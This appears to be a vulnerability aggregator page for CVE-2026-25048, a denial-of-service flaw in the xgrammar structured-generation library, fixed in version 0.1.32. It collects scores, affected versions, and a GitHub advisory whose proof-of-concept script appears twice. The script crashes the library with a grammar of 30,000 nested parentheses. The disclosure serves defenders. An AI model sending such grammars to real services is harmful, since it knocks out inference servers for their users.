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CVE-2026-25048

xgrammar: Multi-layer nesting causes DoS

8.7 HighFix available

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.32%Up 1.3 points since Mar 6, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

xgrammar: Multi-layer nesting causes DoS

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Record
CVE-2026-25048
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-674, CWE-674
Updated
2026-11-02
EUVDEUVD-2026-9830 8.7

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Record
EUVD-2026-9830
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7rgv-gqhr-fxg3 8.7

xgrammar vulnerable to DoS via multi-layer nesting

Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC

#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )
    
    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )
    
    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)

Impact

DoS

Record
GHSA-7rgv-gqhr-fxg3
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-674
Updated
2026-11-02
NVD 8.7

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Record
CVE-2026-25048
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-674
Updated
2026-11-02
OSV 8.7

xgrammar: Multi-layer nesting causes DoS

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Record
CVE-2026-25048
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-674
Updated
2026-11-02
OSVGHSA-7rgv-gqhr-fxg3 8.7

xgrammar vulnerable to DoS via multi-layer nesting

Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC

#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )
    
    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )
    
    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)

Impact

DoS

Record
GHSA-7rgv-gqhr-fxg3
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-674
Updated
2026-11-02
OSVPYSEC-2026-2322 7.5

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Record
PYSEC-2026-2322
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
xgrammar
PyPI
through 0.1.31
0.1.32
xgrammar
PyPI
before 0.1.32, plus listed versions
0.1.00.1.10.1.100.1.110.1.12
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0.1.130.1.170.1.180.1.190.1.200.1.210.1.220.1.230.1.240.1.250.1.260.1.270.1.290.1.300.1.310.1.60.1.70.1.80.1.9
0.1.32
xgrammar
PyPI
before 0.1.32, plus listed versions
0.1.00.1.10.1.100.1.110.1.12
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0.1.130.1.140.1.150.1.160.1.170.1.180.1.190.1.20.1.200.1.210.1.220.1.230.1.240.1.250.1.260.1.270.1.280.1.290.1.30.1.300.1.310.1.40.1.4rc20.1.50.1.5rc10.1.60.1.70.1.80.1.9
0.1.32

History

History
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In short

CVE-2026-25048 is a high vulnerability (CVSS 8.7) in Mlc-ai Xgrammar, published March 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.32%, the 70th percentile. Fixed in xgrammar 0.1.32.

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